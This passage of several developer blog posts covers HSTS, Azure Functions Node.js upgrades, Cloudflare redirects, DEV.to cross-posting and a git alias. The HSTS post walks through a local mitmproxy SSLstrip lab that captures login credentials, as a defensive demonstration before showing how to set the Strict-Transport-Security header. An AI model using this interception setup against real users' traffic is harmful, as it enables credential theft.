    "UserSub": "51c9045e-2f3e-4..."
}

It worked!

If you get index.handler is undefined or not exported error in CloudWatch, make sure you zipped only the function files, and not the containing folder.

If you get KMS key arn must be a string. or Unable to decrypt data key and one or more KMS CMKs had an error. error in CloudWatch, make sure you're passing the KMS key in the environment variables to the Lambda and the value is ARN of the KMS key and not its ID.

Cleanup

At least destroying resources is much easier!

CloudFormation

aws cloudformation delete-stack --stack-name cognito-custom-email-sender-cf-stack

Terraform

terraform destroy

References

...

You are now not limited in how you can send email and SMS notifications in Cognito. Use whichever notification service/provider fits your project needs better.

If you like this type of content you can follow me on Twitter for the latest updates.

Ultimate guide to HTTP Strict Transport Security (HSTS)

Max Ivanov — Wed, 03 Mar 2021 23:42:04 +0000

This is a post in the series on Node.js security best practices. Each post covers one security best practice in detail.

Problem → 
  Example attack → 
    Solution → 
      Implementation in Node.js → 
        Implications

Code for this post's vulnerable demo project.

Today's topic is the HTTP Strict Transport Security (HSTS) policy.

Nowadays, serving websites and APIs over a secure (SSL/TLS) channel is the default mode of deployment.
You can have a free certificate from your cloud provider (AWS, Azure, Cloudflare) or you can generate one with LetsEncrypt.
You install the certificate, configure the HTTP → HTTPS redirect... your and your visitors' data is safe now.

Or is it? Unfortunately, not always. Your web app may still be vulnerable to the Man-in-the-Middle (MITM) attacks.
If you're curious how, read on - we will simulate such an attack in the local environment and then will see how to prevent it from the code in Node.js.

We will see what HSTS is from the developer's point of view:

Does it apply to websites only or to APIs as well?
What are HSTS preloaded lists?
How to safely deploy HSTS in production?
What are the limitations and implications of enabling the policy?

The problem

So what's the vulnerable scenario to consider?

Even if you have the HTTP to HTTPS redirect on your website, the initial request a user makes may be sent over the insecure connection. That's when it can be intercepted and modified by any router/proxy sitting in between the user and the server.

Imagine you're that poor about-to-be-victim. You're in the airport waiting for your flight bored to death. You pull out your phone, scroll through the list of public wifi access points and choose legitemately-looking JFK Free Wi-Fi.
Too bad the access point was set up by another bored soul - a tech-savvy teenager sitting next to you!

In the browser you enter your favorite procrastination resource example.com.

Your browser makes a GET HTTP request to http://example.com. It is intercepted by the MITM and forwarded to the server.
Server replies with 301 Location: https://example.com redirect. Fake access point rewrites all https urls in the response (headers included) to http versions.
Your browser sees a redirect to http://example.com. What the hell, isn't it the same url that was just requested? OK, following the redirect.
MITM intercepts the request and rewrites it to https://example.com. The server returns the page to the MITM via the secure TLS connection.
MITM returns the page to you via the insecure connection.
You go to the login page, enter your credentials and submit the form. MTIM proxies that request, storing your password in the log for the attacker to review later.

In fact, in your communication with example.com, even though it enforces the HTTP-to-HTTPS redirect, not a single page was served to you via HTTPS.
Browsers may show a warning to signal the connection is not secure but you were so desperate to see the latest jokes that you ignored the warning.

This type of attack is called SSLstrip - the secure transport communication between you and the server is removed.

Is SSL Strip the only possible attack? Glad you asked, there are more!

Cookie Hijacking attack where the unencrypted traffic on a public wireless network can be monitored for secrets in cookies sent in plain text.
Instead of proxying user's traffic to example.com, MITM redirects the browser to attacker's owned phish examp1e.com (note letter l replaced with 1). This website looks exactly the same as original. It has a valid TLS certificate and the browser will be happy. Users may spot the change in the URL... or they may not.
Instead of downgrading the secure channel for the user, MITM can respond with a self-signed certificate. Again the browser will warn about suspicous certificate but the user may simply click-through the warning: Ignore it, I don't mind, I need my instant gratification here and now.

What if we stop serving HTTP traffic altogether (close port 80 on the server)? It won't help, because the problem is not with server responding to HTTP, it's about browser attempting to request via HTTP.

Example attack: SSLstrip

You can find a vulnerable project demonstrating the SSLstrip attack in the series repo.

If you want to run it yourself, you will only need Docker installed on your machine. Clone the repo and switch to the hsts folder.

Below are the steps to reproduce the attack along with brief comments:

1. Generate a local root Certificate Authority (CA). For the test to be realistic, we need a website protected with a valid (as the browser sees it) certificate. mkcert is a great tool that makes it simple to generate TLS certificates for local development.

mkcert -install

2. Generate certificate valid for localhost

mkcert -cert-file localhost-cert.pem -key-file localhost-key.pem localhost 127.0.0.1

3. Build the Docker image. It is based on the official Node.js image. It also contains mitmproxy to simulate the MITM router as well as a script to facilitate the SSLstrip attack.

docker build -t mitmproxy-node - < Dockerfile

4. Start a container. It mounts current directory with the Node.js code and root CA certificate generated in step 1. Additionally it maps ports 80 and 443 to serve the website and port 8080 where mitmproxy listens.

docker run -it \
    --rm \
    -v "$(pwd):/var/app" \
    -v "$(mkcert -CAROOT):/var/mkcert" \
    -p 127.0.0.1:80:80 \
    -p 127.0.0.1:443:443 \
    -p 127.0.0.1:8080:8080 \
    -w /var/app \
    mitmproxy-node bash

5. Start the server (web app)

node index.js

6. In a separate tab on your host machine, connect to the running container:

docker exec -it -w /var/mitmproxy $(docker ps -a -q  --filter ancestor=mitmproxy-node) bash

7. Start mitmproxy

mitmproxy --set ssl_verify_upstream_trusted_ca=/var/mkcert/rootCA.pem -s sslstrip.py

8. Configure your browser to use HTTP proxy at 127.0.0.1:8080

9. Visit http://localhost in the browser and click through the user flow entering your login and password (can be anything).

You can see the requests made by the browser in mitmproxy:

If you expand the POST request, you will see the credentials were intercepted:

Solution: HSTS

What can we do in order to keep the traffic between users and servers safe?

HTTP Strict Transport Security is a IETF standard approved in 2012 that was designed to help solve the problem of clients making insecure requests to secure-able endpoints.

If you take away one thing from this post, remember HSTS = HTTPS only.

It lets a webserver inform the browser (and any other complying User Agents) to communicate with that server's domain only in a secure fashion.
Browser acknowledges the instruction and marks the server's domain as Known HSTS host.
Next time, when establishing an HTTP connection, the browser will check if target host is:

one of known HSTS hosts
a subdomain of one of known HSTS hosts having includeSubdomains If either is true, the browser will treat the host as HTTPS only.

What benefits does it bring?

1. Browser transforms all HTTP requests to a known HSTS host into HTTPS requests automatically.

When user enters example.com or http://example.com in the browser's address bar
When user clicks http://... link or a bookmark
When the code makes a fetch request
When browser is about to follow a http redirect

2. Browser prevents clicking through certificate warning messages.

When you open a page that has a SSL certificate issue, browser will show a warning page. Normally you can click something like I understand, let me in and continue browsing. When any SSL error/warning occurs on a known HSTS host, browser will block the user from using the page completely. The error message will be not dismissable. This is useful to prevent self-signed certificate attack mentioned above.

3. As an added bonus, it saves an extra redirect when user enters http://example.com. Because browser already knows it's a HSTS host it will fetch https://example.com right away.

How does server declare itself as HTTPS-only? Via a Strict-Transport-Security HTTP header.

Strict-Transport-Security header

The header value can consist of 3 directives. An example with all 3:

Strict-Transport-Security: max-age=63072000; includeSubDomains; preload

max-age

Required
For how long browser should cache and apply given HSTS policy
Every time browser receives the header, it will refresh the expire time (rolling)

max-age=0 has special meaning:

If host that sends it is known, stop treating the host as HSTS and remove the policy
If host is unknown, do not add it to the list of known HSTS hosts

includeSubDomains

Optional
If present, makes browser apply the policy to all subdomains of the host. For example if the directive is issued by foo.example.com, foo.example.com and bar.foo.example.com will be considered as HTTPS-only, but not example.com and baz.example.com
Unless you have a good reason not to, you should include all subdomains to be covered by the HSTS policy

preload

Optional
Not a part of the standard but rather an initiative by browser vendors
Indicates the site owner agrees the site to be included in the HSTS Preload list

What's the use for preload?

Even if a site added the HSTS header, there's a small window where a user visiting that site can still be subject to a MITM attack.

HSTS policy is activated only if the user visited the site previously (and the browser processed the header). If the browser doesn't know anything about the site, whether it's HSTS-enabled or not, it may establish an insecure connection.
The browser may know nothing about the HSTS status of the site in case:

It never loaded that site before
Browser cache was cleared
HSTS policy expired

To solve this problem, browser vendors ship their browsers with a huge list of known HSTS domains baked in. If the domain is in the HSTS preload list, insecure connection to that domain will never happen.

preload directive in the header only communicates site owner's consent to be included in the preload list.
In order to add a domain to the list, you still need to submit it at https://hstspreload.org. The site must meet the requirements to be included.
The submission site is maintained by Google and the list is used by all major browsers (though each vendor may decide to include extra entries).

There are serious implications to the preload list inclusion:

It is a one way ticket. After the domain is added browsers will use HTTPS scheme only to load that domain, no matter the header value, expiration date or cache state
You can ask to remove the domain from HSTS preload list, but it can take months to happen

For some domains you may not need to add them to the preload lists as their TLDs are included by default. That's the case with .dev and .app for example.

Implement in Node.js

Implementing HSTS is as simple as adding the Strict-Transport-Security header in your code.

In Express (put it before any other controller):

app.use(function(req, res, next) {
  if (req.secure) {
    res.setHeader('Strict-Transport-Security', 'max-age=63072000; includeSubDomains') // 2 years
  }
  next()
})

If you try to access the site with the same mitmproxy setup after HSTS was implemented you will see something similar:

Implement in Azure Functions:

module.exports = async function (context, req) {
    let headers = {
        'Strict-Transport-Security': 'max-age=63072000; includeSubDomains',
    }

    ...
    context.res = {
        body,
        headers,
        status
    }
}

Implement in AWS Lambda (you may want to add it in API Gateway instead):

exports.handler = async (event) => {
  ...
  let response = {
    statusCode: responseCode,
    headers: {
      'Strict-Transport-Security': 'max-age=63072000; includeSubDomains',
    },
    body: JSON.stringify(responseBody),
  }

  return response;
};

Safe HSTS deployment plan

Inspired by the great HSTS tutorial from Scott Helme.

The idea is to start small and gradually increment the expiration time and inclusion criteria.

Find out all subdomains you have (consult DNS CNAME entries). Those may be served by your servers or 3rd party services
Make sure the root domain and all subdomains can serve traffic over SSL/TLS (accessible via HTTPS)
Ensure HTTP -> HTTPS redirect is configured
Set small expiration time, e.g. max-age=600 (10 minutes), make sure all systems operational
Add includeSubDomains directive
Make incremental changes to max-age. Aim for the value of 2 years
Add preload directive and submit the domain to the HSTS preload list

Implications / considerations

⚡︎ HSTS is well supported by all browsers: https://caniuse.com/stricttransportsecurity

⚡︎ Even with HSTS in place, you still need the HTTP → HTTPS redirect.

⚡︎ It should be clear how websites or webapps that users load can benefit from HSTS. Does it make sense to add the header to APIs?

No, if the API is consumed only by trusted clients, where the scheme is hardcoded and cannot be changed. Think mobile apps or servers using your API.
Yes, if the API is used by browsers. If the web app that calls your API is compromised it can be tricked to make insecure calls: http://your-no-longer-safe-api.

⚡︎ HSTS won't help against attacks to the SSL/TLS protocol itself, as well as in cases where the server or browser are compromised.

⚡︎ HSTS is not related to the certificates being used by the server as long as the certificates are valid. You can replace/renew certificates at any time.

⚡︎ Users can manually add and remove HSTS hosts in browser settings (not preloaded lists though).

⚡︎ If you redirect http://example.com → https://www.example.com and latter sets the HSTS header with subdomains, example.com (root) and sub.example.com won't have HSTS.
Solution: include 1px picture from https://example.com (which will set the header on the root domain and all subdomains) on every page.
Or better, add the domain to the HSTS preloaded list.

⚡︎ HSTS preferences are not shared between normal/incognito modes in the browser.

⚡︎ HSTS domain may be vulnerable to a NTP attack. Victim gets fake response from the NTP server and expires existing HSTS preferences.
Not effective if the domain is in browsers' pre-loaded list.

⚡︎ Even if domain is added to the preloaded lists, you still need to send the Strict-Transport-Security for clients that do not use the list.

⚡︎ HSTS headers must not be sent with insecure HTTP responses (and if you do, browsers won't process them anyway).

⚡︎ Browsers will ignore HSTS headers received over SSL connection with warnings (e.g. using self-signed certificate).

⚡︎ Browsers will ignore HSTS headers if the hostname is in the form of IP address.

⚡︎ Funny fact: google.com does not set HSTS policy on the root domain (mail.google.com does have it). It seems that's due to the requirement to support legacy workflows.

References

...

Stay tuned for the next posts in the Node.js security best practices series!

If you like this type of content you can follow me on Twitter for the latest updates.

How to change/upgrade Node.js version in Azure Functions

Max Ivanov — Thu, 25 Feb 2021 19:33:49 +0000

If you haven't touched your function app for a while there's a chance it's running an older version of Node.js. You may consider upgrading to benefit from new features, performance improvements and security fixes.
As we're approaching March 2021, Node.js 12 is the recommended version in Azure Functions and version 14 is in preview. You may want to upgrade when it reaches the GA status.

How do you know which Node.js version is currently used?
How to change/upgrade Node.js version for Linux and Windows function apps?
Is there any difference when running in Consumption and Premium hosting plans?
How to make the change with Azure Portal, CLI, ARM, Terraform?

I've tested all combinations of Linux/Windows, Consumption/Premium to verify the process of changing Node.js versions. Answers below.

Azure Functions Runtime version

Before we get to Node.js versions, there's an important concept of Azure Functions Runtime version.

Node.js versions that are available to you depend on the OS and the Functions Runtime version used.
You can see runtime versions and their supported Node.js versions here.

How to find out Azure Functions runtime version you use?

Here is the most reliable way to check the runtime version that I found.

Get your function app's master key and make a request:

curl https://<functionappname>.azurewebsites.net/admin/host/status?code=<masterkey>

In the returned JSON, you will find the "version" property.

Note FUNCTIONS_EXTENSION_VERSION application setting (e.g. ~3) is not a reliable indicator.
There was a platform upgrade for Azure Functions v2, where this app setting could remain at ~2 while in reality the runtime became 3.x. Confusing, I know.

If you find out the Node.js version you're aiming for is not supported, you will need to upgrade the Functions runtime.
If you develop and test functions locally, make sure to update Azure Functions Core Tools to the latest version as well.

Find out what Node.js version is currently used

The process is a bit different on Windows and on Linux.

On Windows, Node.js version is dictated by the WEBSITE_NODE_DEFAULT_VERSION application setting of the function app.

On Linux, WEBSITE_NODE_DEFAULT_VERSION has no effect. It is the linuxFxVersion config option on the function app resource that defines the Node.js version.
Note there's a bug where linuxFxVersion may be reported as empty in Azure CLI.

The most reliable way to see the Node.js version you're running is to print or log it from a function.

module.exports = async function (context, req) {
    context.log('JavaScript HTTP trigger function processed a request.')

    context.res = {
        body: `Node version: ${process.version}`
    }
}

Alternatively, you can see it in a shell session which you can open from your function app page in the the Azure Portal.

On Linux (Premium only, there's no such option in Consumption plan), launch Development Tools / SSH:

root@9eaec89e01d4:~# node --version
v10.23.1

On Windows (Premium & Consumption plans), go to Development Tools / Console:

C:\home\site\wwwroot> node --version
v12.18.0

One observation I made while doing tests: Windows function app without WEBSITE_NODE_DEFAULT_VERSION won't start at all. When triggered, the function will fail with the error: 502 - Web server received an invalid response while acting as a gateway or proxy server..

Change Node.js version in Linux Function Apps

As mentioned above, linuxFxVersion config is what dictates the Node.js version.
Not related to the version business, but make sure you also have FUNCTIONS_WORKER_RUNTIME=node application setting set.

Azure Portal

As of February 2021, you cannot change the language version for Linux Consumption through Portal.

If you're on Linux Premium plan:
From your App Function page, go to the Settings / Configuration → General settings. Use the Node.js Version dropdown to change the version, then Save.

Azure CLI

Out of curiosity, you may want to see the current linuxFxVersion value:

az functionapp config show --name <func app name> --resource-group <rg name> | jq '.linuxFxVersion'

(if you don't have jq installed, just remove | jq ...)
(result may be empty due to a bug, see the github issue).

Set the Node.js version:

az functionapp config set --name azfuncnodever-function-app-linux-premium --resource-group azfuncnodever-resource-group-linux-premium --linux-fx-version "node|14"

No manual function app restart required, give it a couple minutes and Node.js version will be switched.

You can provide a full (Microsoft managed) Docker image name if you want to explicitly set the Azure Functions runtime version.
Full list of supported Azure functions Docker tags can be found here.
But you can also simply use node|<version> as a shorthand. In this case, latest runtime version will be used. More on setting LinuxFxVersion here.

If you provide an invalid value for the LinuxFxVersion argument, the command will fail with Operation returned an invalid status code 'Bad Request' error. (Only if target plan is Consumption though, if Premium, the CLI will eat it silently. Github issue created.)

ARM template

{
    "apiVersion": "2016-03-01",
    "type": "Microsoft.Web/sites",
    "kind": "functionapp",
    ...
    "properties": {
        ...
        "siteConfig": {
            ...
            "linuxFxVersion": "node|14"
        }
    }
}

Terraform

resource "azurerm_function_app" "function_app" {
  ...
  site_config {
    ...
    linux_fx_version = "node|14"
  }
}

Another observation that I made with current Terraform v0.14.6 and azurerm provider v2.48.0. Linux function app without linuxFxVersion set explicitly defaults to Azure Functions runtime ~3 and Node.js 10. Here's the discussion around it.

Change Node.js version in Windows Function Apps

In Windows function apps, you can control the Node.js version via the WEBSITE_NODE_DEFAULT_VERSION application setting. The value must be in the ~<major version> format, e.g. ~14.

Azure Portal

Unlike on Linux, you can change the version of both Premium and Consumption plans in the Portal.

From your App Function page, go to the Settings / Configuration → General settings. Use the Node.js Version dropdown to change the version, then Save.

Azure CLI

Before changing, if you wonder what's the current value of WEBSITE_NODE_DEFAULT_VERSION:

az functionapp config appsettings list --name <func app name> --resource-group <rg name> | jq '.[] | select(.name == "WEBSITE_NODE_DEFAULT_VERSION")'

(if you don't have jq installed, just remove | jq ...)

Set the Node.js version:

az functionapp config appsettings set --name <func app name> --resource-group <rg name> --settings "WEBSITE_NODE_DEFAULT_VERSION=~14"

No manual function app restart required, give it couple minutes and Node.js version will be switched.

You can provide a full (Microsoft managed) Docker image name if you want to explicitly set the Azure Functions runtime version, or you can simply use node|<version> as a shorthand. In the latter case, latest runtime version will be used. More on setting LinuxFxVersion here.

Powershell

Update-AzFunctionAppSetting -Name "<func app name>" -ResourceGroupName "<rg name>" -AppSetting @{"WEBSITE_NODE_DEFAULT_VERSION" = "~14"} -Force

ARM template

{
    "apiVersion": "2016-03-01",
    "type": "Microsoft.Web/sites",
    "name": "[variables('functionAppName')]",
    "location": "[resourceGroup().location]",
    "kind": "functionapp",
    ...
    "properties": {
        ...
        "siteConfig": {
            ...
            "appSettings": [
                ...
                {
                    "name": "WEBSITE_NODE_DEFAULT_VERSION",
                    "value": "~14"
                }
            ],
        }
    }
}

Terraform

resource "azurerm_function_app" "function_app" {
  ...
  app_settings = {
    ...
    "WEBSITE_NODE_DEFAULT_VERSION" = "~14",
  }
}

References

...

I wish working with Linux in Azure was simpler. There are a lot of inconsistencies between Linux and Windows plans and Linux offering often misses features.

Yet I think Azure is a great platform with its vision and hopefully those issues will be sorted out soon.

You can find sources for my test lab consisting of 4 function apps in the repo.

If you like this type of content you can follow me on Twitter for the latest updates.

Domain and path redirects with Cloudflare

Max Ivanov — Sat, 20 Feb 2021 02:24:17 +0000

Below is a quick overview of common scenarios where you may need to redirect visitors to another domain/url and how you can implement such redirection with Cloudflare.

The answer to all of the scenarios is either Page Rules or Workers. Note both require the domain where you forward from to be proxied by Cloudflare (orange cloud enabled on the DNS tab).

You can have up to 3 page rules and process up to 100k requests/day with the Cloudflare Free plan.

Redirect all traffic for `source.com` to `target.com`

Make sure there's a proxied DNS record for the root @ on the DNS tab of source.com. If missing, create one. Target can be anything, since forwarding page rule will execute before target is evaluated.

Create the redirect page rule. Set relevant HTTP redirection code:

302 if it's a temporary setup and source.com will start serving traffic directly in future
301 if forwarding is permanent and you expect source domain to be always used to redirect visitors

What if you want to preserve the path during forwarding, i.e. source.com/login must redirect to target.com/login?
In the Destination URL field of the page rule, append $1 (value matched from the source), so that it reads https://target.com/$1.

Redirect non-www to www

Redirect www to non-www

Redirect specific path to a URL

You may want to make a nice short link at your root domain forwarding to some file you want to share.
Consider mycompany.com/deck pointing to a downloadable pdf file to share with investors.

Redirect paths to subdomains

Let's say there's a requirement to redirect country/locale codes in in paths to subdomains:

https://mycompany.com/fr → https://fr.mycompany.com
https://mycompany.com/de/some-page → https://de.mycompany.com/some-page
...
but https://mycompany.com/en → https://mycompany.com

Page rules is not flexible enough to handle this scenario. Cloudflare Workers to the rescue!

Go to the Workers tab → Manage Workers → Create a Worker

Create a basic worker that will parse the path, see if it's a country code, rewrite and redirect the URL if needed.

const redirectHttpCode = 301

addEventListener('fetch', event => {
  event.respondWith(handleRequest(event.request))
})

/**
 * Respond to the request
 * @param {Request} request
 */
async function handleRequest(request) {
  const url = new URL(request.url)
  const { pathname } = url

  const pathParts = pathname.split('/')
  const pathPrefix = pathParts[1]
  if (pathPrefix.length === 2) { // country code, you may want to do an inclusion check instead
    if (pathPrefix !== 'en') {
      url.host = `${pathPrefix}.${url.host}` // prepend subdomain
    }
    pathParts.splice(1, 1) // remove country code from path
    url.pathname = pathParts.join('/')

    return Response.redirect(url.toString(), redirectHttpCode)
  }

  return fetch(request) // by default proxy request as usual
}

Go back to the Workers tab → Add route.
Set Route to mycompany.com/*. Select the worker you created in previous step. Save.

In less than a minute, you can confirm forwarding scenarios work as expected.

...

Forwarding URL page rule covers basic use cases. If you need to apply custom logic with advanced mapping and url replacements, Cloudflare Workers should be used instead.

If you like this type of content you can follow me on Twitter for the latest updates.

Cross-post from your blog to DEV.to (Node.js script)

Max Ivanov — Sat, 13 Feb 2021 15:00:46 +0000

DEV.to is a great place for a technical blog. The website feels lightweight and easy to navigate and the community is welcoming.
Still, you may want to publish your content under your own domain first which you have full control of. You then may want to cross-post to DEV with a link to the canonical URL.

When I started writing initially my workflow was like this:

Write a blog post in the comfort of my text editor locally
Publish to my personal blog
Cross-post to DEV manually

Last part definitely called for automation. There's a way to Publish from RSS but I realized some tweaks had to be made to the content before it could be published on DEV.

Another approach is to use the DEV API. My blog is built with Eleventy and I've added a little helper npm script to help with cross-posting. It loads a blog post from the markdown file, publishes a draft at DEV and returns a URL of the draft. There you can make sure it looks alright (occasionally I may need to adjust tags) and hit Publish.

Workflow now looks like this:

Write a blog post in the comfort of my text editor locally
Publish to my personal blog
Run npm run <path-to-md-file> → follow the draft link to review → Publish

If it sounds useful, below is a (beginner-friendly) guide of how to add such script to your own blog.

Create a DEV API key

In your DEV profile, go to Settings → Account → DEV Community API Keys

Give the key a name (e.g. publish-to-dev) and generate it.

Copy the key and put it in the .env file in the root of your blog. Make sure this file is listed in .gitignore as we don't want secrets to land in a git repository.

.env

DEV_TO_API_KEY=your-api-key

npm script to publish to DEV

If not installed, you will need to add these packages to dev dependencies:

npm i --save-dev dotenv gray-matter node-fetch

You can find the entire script here: https://github.com/maximivanov/maxivanov.io/blob/main/scripts/publish-to-devto.js

To start, we load the .env file, include dependencies and configure some settings.

./scripts/publish-to-devto.js

require('dotenv').config() // make the API key available as an environment variable

const matter = require('gray-matter') // library to parse front-matter and content from posts' markdown files
const fetch = require('node-fetch')

const apiKey = process.env.DEV_TO_API_KEY
const apiUrl = 'https://dev.to/api/articles'
const siteUrl = 'https://www.maxivanov.io' // hostname of the blog
const autoPublish = false // whether we want to publish or create drafts

Main body of the script, which fetches the data, sends the API request and prints the draft URL:

./scripts/publish-to-devto.js

...

;(async () => {
    const path = process.argv.slice(2)[0] // read file name from command line arguments
    const file = matter.read(path)

    const payload = getPayload(file) // get payload to publish to DEV API (see below)
    const article = await publish(payload)

    if (autoPublish) {
        console.log(`Article published: ${article.url}`)
    } else {
        console.log(`Article draft created: ${article.url}/edit`)
    }
})()

Function to prepare data to post to the API:

./scripts/publish-to-devto.js

...

function getPayload(file) {
    return {
        article: {
            title: file.data.title.trim(),
            // replace relative paths with absolute URLs
            body_markdown: file.content.trim().replace(/\]\(\/posts\//gm, `](${siteUrl}/posts/`),
            published: autoPublish,
            // if you want blog post to be a part of Series on DEV
            series: undefined,
            // cover image URL
            main_image: file.data.image ? `${siteUrl}${file.data.image}` : undefined,
            // generate the canonical url (file name minus .md in my case)
            canonical_url: `${siteUrl}/${file.path.split('/').slice(-2, -1)[0]}`,
            description: file.data.description,
            // DEV allows only 4 tags and they must be alphanumeric
            tags: file.data.tags.slice(0, 4).map(tag => tag.toLowerCase().replace(/[^a-z0-9]/i, '')),
        }
    }
}

And finally a function to publish the prepared payload to the API:

./scripts/publish-to-devto.js

...

async function publish(payload) {
    const response = await fetch(apiUrl, {
        method: 'post',
        body: JSON.stringify(payload),
        headers: {'Content-Type': 'application/json', 'api-key': apiKey}
    });

    const json = await response.json();
    if (json.error) {
        throw new Error(`API returned an error: ${json.error}`)
    }

    return json
}

Add a new script to the package.json:

./package.json

{
  ...
  "scripts": {
    ...
    "publish-to-devto": "node ./scripts/publish-to-devto.js"
  }
}

And call it from the command line:

npm run publish-to-devto posts/2021/01/add-docker-container-name-to-shell-prompt.md

...

Alright! We just got rid of some boring manual work which is always good.

Shell alias to open git diffs in Github

Max Ivanov — Fri, 05 Feb 2021 14:16:26 +0000

You're viewing a project's code on your machine, and the code is hosted in Github. Imagine couple scenarios:

You stumble upon a branch you don't recognize. You want to see how does this branch differ from the primary main branch.
You're about to merge a branch into your main branch without making a pull request. Once again you want to see the changes before merging.

The answer to both scenarios is git diff.
I'm not sure about you, but I find viewing larger diffs (even colored ones) in terminal somewhat cumbersome.
There are GUI tools, like what we have in VSCode, but it takes time to click through menus to get to the correct screen and find relevant branches so it never sticked with me.

What I find awesome for viewing diffs is Github Compare page.

It's familiar, well organized and useful. Whenever I can, I prefer to view my git diffs there.
Crafting a url to get to the compare page is boring though.

Below is a quick tip on how to add a console alias to open the Github diff page to see changes between 2 branches or commits:

> ghcmp main my-feature-branch # opens a browser window with Github compare of "main" and "my-feature-branch"

Prerequisites

You only need git installed in the environment where you want to add the alias.

Note: you need to run the ghcmp command (or whatever you name the alias) in the directory with you git repository, so that it can find out the repo's Github url.

We will see how to add the alias to zsh and bash shells on Mac and Linux.

Github compare page

Compare page url format:

https://<REPO URL>/compare/<SOURCE BRANCH OR COMMIT>...<TARGET BRANCH OR COMMIT>

Note the difference between .. and ... (2 and 3 dots).

2 dots: show all commits that TARGET has but SOURCE doesn't and commits that SOURCE has but TARGET doesn't.

3 dots: show all commits that TARGET has but SOURCE doesn't. You usually want this.

E.g. to see what was added in the 0.4-stable branch compared to 0.3-stable in react repo:

https://github.com/facebook/react/compare/0.3-stable...0.4-stable

Command to open diff in Github

Assuming alias signature is ghcmp [from branch-or-commit] [to branch-or-commit], the shell command is this:

Mac:

open "$(git config --get remote.origin.url | sed -E 's/:([^\/])/\/\1/g' | sed -e 's/git@/https:\/\//g' | sed -e 's/.git$//')/compare/$1...$2"

Linux:

xdg-open "$(git config --get remote.origin.url | sed -E 's/:([^\/])/\/\1/g' | sed -e 's/git@/https:\/\//g' | sed -e 's/.git$//')/compare/$1...$2"

Command deconstructed if you're curious:

open open the following url in the browser, replace with xdg-open for Linux
"$(git config --get remote.origin.url get the url of the repo from the git config file
| sed -E 's/:([^\/])/\/\1/g' | sed -e 's/git@/https:\/\//g' | sed -e 's/.git$//') convert the repo url to a canonical (https) form
/compare/$1...$2" the path in the Github compare url with 2 arguments passed

I've adapted the sed from this SO answer.

Add shell alias

Now that we have the command, let's add the alias. It's the same for both bash and zsh, only the shell configuration file is different.

In bash, add to the end of ~/.bashrc. In zsh, add to the end of ~.zshrc:

ghcmp() {
    open "$(git config --get remote.origin.url | sed -E 's/:([^\/])/\/\1/g' | sed -e 's/git@/https:\/\//g' | sed -e 's/.git$//')/compare/$1...$2"
}

...

That was a little productivity trick to simplify your daily git process a bit.

If you like this type of content you can follow me on Twitter for the latest updates.